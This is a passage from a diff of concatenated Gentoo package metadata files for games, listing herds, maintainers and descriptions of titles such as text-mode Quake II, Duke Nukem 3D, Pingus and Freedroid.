+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/aaquake2">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+aaquake2 - Text Mode Quake II
+
+What?
+Just what you heard - text mode Quake II.
+
+Why?
+Why not? You can watch TV in text mode, you can play DVDs in text mode, 
+you can play Quake 1 in text mode. Quake II is the logical next step.
+
+Or, as the author of ttyquake put it, &quot;If you have to ask why, you're 
+not a member of the intended audience.&quot; 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/aaut">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+AAUT: Text Mode Unreal Tournament
+Remember, Kids. It's not big, and it's not clever
+
+Is UT just a little too high-end for your 
+look-I'm-using-my-15-year-old-P100-as-a-Linux-box machine?
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/americas-army">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+America's Army is a first-person 3-D shooter designed and coded by the US Army to provide a realistic simulation of actual combat for US Army forces.  The game is designed to provide provide civilians with insights on soldiering and to raise awareness about the US Army.  The game was ported to Linux by Ryan &quot;icculus&quot; Gordon under contract from the US Army and is free to anyone.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/anaglyph-stereo-quake">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+What is Anaglyph Quake?
+Anaglyph Quake is a modified version of glQuake designed to be viewed 
+with Anaglyph Glasses. The purpose of viewing with Anaglyph glasses is 
+so that the image is viewed in stereo (a separate image for each eye), 
+which is the basis for depth perception. Thus, with this version of 
+Quake, red-cyan glasses, and a suitable computer, you can play Quake in 
+real 3D.
+
+Anaglyph Glasses:
+Anaglyph Glasses are red-blue glasses (the red lens is over the left eye 
+). They rely on the idea that the red light will only pass through the 
+red lens, and blue light will only pass through the blue lens. Thus by 
+printing the two different views in these opposing colours, the viewer 
+will see a stereo view, and hence depth (amusing that the two images are 
+appropriate viewpoints of the same scene ). Because red&amp;blue are 2/3 of 
+the colours used by monitors for display , you can get red-cyan glasses, 
+cyan allowing both blue and green thorough.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/duke3d">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+The third chapter in the series, and the first with a 3D perspective 
+(the original Duke Nukem and the sequel, Duke Nukem II, are side 
+scrolling platform games). This game, set sometime in the early 21st 
+century, begins in a ravaged LA, which was overtaken by aliens while you 
+were abducted during Duke Nukem II. Duke, upon returning to Earth, finds 
+himself with another mess to clean up, and another alien race that needs 
+exterminating. Duke is a can-do hero who realizes that sometimes 
+innocent people have to die in order to save Earth, so accuracy of gun 
+fire is not a real concern to him. :) 
+
+This game has a long list of cool things that haven't been attempted in 
+3D action games, yet. The weapons, for example, kick-butt: 
+
+    * There's a mine that can be placed on any wall and sends out a 
+laser trip beam-- perfect for multiplayer games. 
+    * There's also a shrinker ray that reduces an opponent to the size 
+of a G.I. Joe, at which point they are foot fodder--watch them splat! 
+    * As in Shadow Warrior, you can swim under water, and even shoot 
+players who are standing outside the water, or vice versa.
+
+ What works:
+    * Basic gameplay seems fine.
+    * Sound and music.
+    * keyboard input.
+    * mouse input.
+    * Hi-res (what would be &quot;VESA modes&quot; in DOS).
+    * Windowed/fullscreen support.
+    * Save games.
+    * Record and playback demos compatible with the Atomic Edition (1.5).
+    * Shareware and retail versions should all work.
+    * BUILD editor works to a large degree.
+    * DukeBots for multiplayer AI.
+    * Assembly code all has portable C fallbacks, now.
+    * TCP/IP Networking!
+    * Linux/x86 port.
+    * Windows/x86 port.
+    * BeOS/x86 port.
+    * (incomplete) MacOS X port. 
+
+What doesn't work/known bugs:
+    * Joystick input isn't working yet.
+    * File cases need to be exact in some places, not others.
+    * Engine (game?) relies on compiler treating &quot;char&quot; as &quot;unsigned&quot; by default...this needs to be flushed out, for sanity's sake. But I'm anal. :)
+    * Netcode handles packet loss _VERY_ poorly...it's fine for stable connections and LANs, though.
+    * Configuring a multiplayer game involves editing text files and filling in IP addresses. Not very user-friendly.
+    * Some text prompts try to read the SDL input queue instead of stdin like they should.
+    * Probably other stuff. Do NOT consider this stable and complete yet! 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/enemy-territory">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Enemy Territory is a first-person 3-D shooter based loosely on the original Wolfenstein series by id software.  The game takes place in North Africa and Europe during World War II and allows you to play as either the Axis or the Allies.  There are several classes of characters you can play, each with their own special abilities and weapon choices.  You can also gain proficiency in your specialties and increase your abilities by performing your class's specialized duties, which helps promote teamwork.  Enemy Territory was originally to be a single and milti-player add-on for Return to Castle Wofenstein, but John Carmack and company were not happy with the progress they had made on it, so instead, they released it as a multi-player stand-alone game.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/industri">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+industri is a Quake based, single player game using a modified version of the 
+Tenebrae 1.x engine. The Tenebrae engine is an Open Source (GNU GPL) modification 
+of Quake that brings per-pixel lighting, stencil shadows, hi-res textures, 
+bumpmap and normalmaps to the gaming experince.
+
+The focus of industri is a rich single-player game and engine. There is no 
+multi-player at all.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/legends">
+<herd>games</herd>
+<longdescription>
+Legends is a fast-paced first-person-perspective online multiplayer 
+game. The game is designed to take advantage of the beautiful 
+environments available from the Torque engine it is based on while still 
+offering the breakneck pacing and variety of styles available from such 
+classics as Quake and Tribes.
+
+Gameplay is not the strafe-strafe-jump-strafe-shoot-strafe-run-like-hell 
+style a lot of games espouse; the addition of a jetpack adds a third 
+dimension of mobility that makes skill, forethought, and restraint 
+necessities to winning.
+
+Team sizes are going to be ideal between 10 and 15 on each side, and the 
+network code will allow anyone with any bandwidth to play relatively 
+smoothly. Game type offerings will range from the classic Capture the 
+Flag to our own new type, affectionately called &quot;Knockout&quot;.
+
+Plenty of maps will be provided by us, but the beauty of this game is 
+its customization possibilities. Mission creation has never been easier, 
+with a stable, full-featured editor integrated into the game engine 
+itself. Skins, models, and effects can all be modified by the end-user 
+with commonly available tools. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/nprquake-sdl">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Non-PhotoRealistic Rendering (npr) is often considered the task of taking a 3d 
+environment and displaying it as if it were (for example) hand-drawn. Stylization is 
+the main purpose of an npr, as is with most pencil-and-paper artists (imagine if 
+everyone who drew cartoons tried to make them look as realistic as possible - 
+boring!). NPRQuake attempts to capture the elements of different drawing techniques, 
+and immerse the viewer in worlds drawn entirely in the prescribed style. If you have 
+ever imagined running around inside a painting or a drawing, you are beginning to 
+get the idea.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/quake3-nsco">
+	<herd>games</herd>
+
+	<maintainer>
+		<email>malverian@gentoo.org</email>
+		<name>Philip Walls</name>
+	</maintainer>
+
+	<longdescription>
+		From http://www.ns-co.net:
+
+		Navy SEAL/s: Covert Operations is a scale realism total 
+		conversion for id Software's Q3/TA engine. NS:CO pits players
+		in realistic SEAL and Tango land covert operations in realistic
+		settings with scale weapons, munitions, and equipment.
+
+		NS:CO is a tactically sophisticated feature rich multi-player
+		game that emphasized teamwork and realistic SEAL SPECWAR
+		missions and tactics.
+
+		NS:CO is a total conversion featuring original game-design,
+		technology, all original code, stunning art, level design,
+		modeling and animation; wrapped in a rich game interface that
+		gives players new exciting control over game-play that is
+		unique, realistic and enormous fun. 
+	</longdescription>
+
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/quake3">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+</maintainer>
+<longdescription>
+Quake III Arena is the third installment of the extremely popular and successful Quake series by id software.  The game was released by id software for both Windows and Linux.  The Linux version of the game was maintained and sold by the now defunct Loki Entertainment.  The powerful Quake III engine is the basis for many other commercial games, as id's major source of revenue is licensing their game engines.  The engine allows for user-contributed modifications to be made, allowing the game to be extensible and expandable.  This game is commercial software, and requires the data from a retail copy of the game to play.  If you're interested in checking out the technology behind Quake III, then &quot;emerge quake3-demo&quot; to get the playable demo.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/quakeforge">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+QuakeForge is a 3D graphics game engine based on id Software's legendary 
+Quake and QuakeWorld game engine. Our purpose? To improve the state of 
+the game by improving the engine and making it accessable to the largest 
+number of players we can.
+
+Arguably the single most important issue on the minds of players today 
+is the rampant cheating which is currently happening on many of the 
+larger servers. It's a serious problem and it really makes a good game 
+hard to find. We're working hard to fix these problems at the engine 
+level.
+
+But what good is that if you have to have a copy of our client and the 
+server has to run our server? There are other projects out there and 
+some of them have very unique qualities. QuakeForge is cooperating with 
+QSG, a group comprised of representatives from nearly every known Quake 
+source project to ensure that our clients and servers run with other 
+clients and servers just fine. We have all agreed to implement any 
+effective cheat prevention methods.
+
+Other things we're doing include merging the two code trees, adding 
+features, and improving the OpenGL renderer. And QuakeForge is still the 
+most portable source tree based on the id Software code.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/rott">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+THE STORY
+
+You are part of an elite group of operatives called HUNT (High-risk 
+United Nations Taskforce), and you must stop a maniac cult leader from 
+killing millions of people. While scouting a remote island, you are 
+suddenly surrounded by enemy troops with guns blaring. In the distance 
+you see your boat--your only chance to escape--explode into matchsticks. 
+In front of you is a huge fortress monastery, and your only chance to 
+stop the madness. You are e quipped with awesome, high-tech weaponry 
+like heat-seeking missiles, split missiles, and the Flamewall cannon, 
+which leaves a trail of charred skeletons in its wake. You'll also find 
+magical instruments and weapons so incredible they defy description.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/rtcw">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Return to Castle Wolfenstein is a first-person 3-D shooter based loosely on the original Wolfenstein series by id software.  The game takes place in Europe during World War II.  In the single player game, you play as a US military special operative sent behind enemy lines to stop the Nazi studies into the supernatural and the occult.  The multi-player game is a team-based, goal-oriented series of missions and allows you to play as either the Axis or the Allies.  There are several classes of characters you can play, each with their own special abilities and weapon choices.  The port to Linux was done by TTimo of id software and is an unsupported binary release.  This game is commercial software and requires data from the retail Windows version to play.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/soldieroffortune">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Soldier of Fortune is a first-person 3-D shooter based on the mercenary trade.  You play as John, an ex-military mercinary who still has plenty of good friends on the inside.  For a wad of bucks, you'll do the job -- no cares, no worries. Just get the gun, play for keeps, get paid, on to the next one -- that's your life. That's what you do. And you're good at it, one of the best even. But now is the time for your biggest challenge ever.  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/tenebrae">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Tenebrae is a modification of the quake source that adds stencil shadows 
+and per pixel lights to quake. Stencil shadows allow for realistic 
+shadow effects on every object in the game world. Per pixel lighting 
+allows you to have fine surface details correctly lit. These are 
+essentially the same algorithms as used by the new Doom game.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/ut2003">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Unreal Tounament 2003 is a first-person 3-D shooter and sequel to the 1999 Game of the Year, Unreal Tournament.  The game was ported to Linux by Ryan &quot;icculus&quot; Gordon under contract from Epic Games and the Linux installer was released in the retail box.  This game is commercial software and requires data from the original retail discs to play.  If you're interested in checking out the technology behind Unreal Tournament 2003, you can &quot;emerge ut2003-demo&quot; to get the playable demo.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-fps/vendetta-test">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/childsplay">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/gcompris">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/lletters">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/matritsa">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/stickers">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/tuxmath">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/tuxmathscrabble">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-kids/tuxtype">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-misc/bsd-games">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-misc/fortune-mod-dubya">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+  <name>Don Seiler</name>
+  <description>Author and maintainer of this fine set of quotes.</description>
+</maintainer>
+<longdescription>dubya is a module for fortune-mod, and contains many quotes from George W. Bush.  The great majority, if not all, of these quotes were originally gathered in the fantastic George W. Bush Desk Calendar.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-misc/fortune-mod-gentoo-dev">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-misc/sex">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-misc/wtf">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/gMOO">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/gmudix">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/gnome-mud">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/kmc">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/kmuddy">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/mcl">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/mudix">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/panache">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/tf">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/tintin">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/tkmoo">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-mud/ytin">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/4stattack">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/atomix">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/codebreaker">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/construo">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/cuyo">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/drod-bin">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/enigma">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/fbg">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/gemdropx">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/glickomania">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/greedy">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/groundhog">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/gtetrinet">
+<herd>games</herd>
+<herd>gnome</herd>
+<longdescription>
+GTetrinet is a client program for the popular Tetrinet game, a 
+multiplayer tetris game that is played over the internet.
+
+Gee, Tetris?  Whats that?  Yeah, yeah, so it's been
+done 2 billion times before (give or take a few bil),
+but this is different!  Yes, all you tetris addicts
+out there be prepared for even MORE excitement..
+internet tetris!  Now you can play your five best
+buddies in one of the most well known games in
+existence!
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/gtkballs">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/gweled">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/icebreaker">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/kiki">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/lpairs">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/ltris">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/magiccube4d">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/marbles">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/mindless">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/mirrormagic">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/neverball">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/neverputt">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/pathological">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/penguzzle">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/pingus">
+<herd>no-herd</herd>
+<longdescription>
+ Pingus is a free Lemmings clone for GNU/Linux and Windows covered under the GNU GPL. Pingus 
+uses ClanLib  and libxml and might also be usable on some other OSs like FreeBSD, but hasn't 
+been tested there. Pingus is mainly developed under GNU/Linux, that's why the Windows port 
+is sometimes a bit behind.
+
+ If you don't know Lemmingstm, here comes a short introduction. Its a puzzle game developed 
+in 1991 by DMA Design. The player takes command in the game of a bunch of small animals and 
+has to guide them around in levels. Since the animals walk on their own, the player can only 
+influence them by giving them commands, like build a bridge, dig a hole or redirect all 
+animals in the other direction. The goal of each level is to reach the exit, for fix 
+multiple combination of commands are necessary. The game is presented in a 2D site view.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/quadra">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/quintalign">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/tetrinet">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/toppler">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/wakkabox">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/xblockout">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/xbomb">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/xpired">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-puzzle/xwelltris">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/adom">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/angband">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/crossfire-client">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/falconseye">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/ivan">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/nethack">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/noegnud-data">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/noegnud-nethack">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/noegnud-slashem">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/slashem">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/tome">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-roguelike/zangband">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/adonthell">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/bass">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/daimonin-client">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/egoboo">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/freedroid">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/freedroidrpg">
+<herd>games</herd>
+<longdescription>
+Hello, and welcome to the Freedroid page.
+
+THE CLASSICAL FREEDROID: Freedroid is a clone of the classic game
+&quot;Paradroid&quot; on Commodore 64 with some improvements and extensions to
+the classic version. 
+
+In this game, you control a robot, depicted by a small white ball with
+a few numbers within an interstellar spaceship consisting of several
+decks connected by elevators. 
+
+The aim of the game is to destroy all enemy robots, depicted by small
+black balls with a few numbers, by either shooting them or seizing
+control over them by creating connections in a short subgame of
+electric circuits. 
+
+Development of this game is now complete.  The final version came out
+in august 2003 and runs on Linux, Mac OSX, Sharp Zaurus and even that
+strange Windows wannabe of an operating system.  Thanks to all who 
+helped.
+Minor fixes and maintainance will of course still continue though...
+
+FREEDROID RPG:  The Freedroid RPG is an extension/modification of the
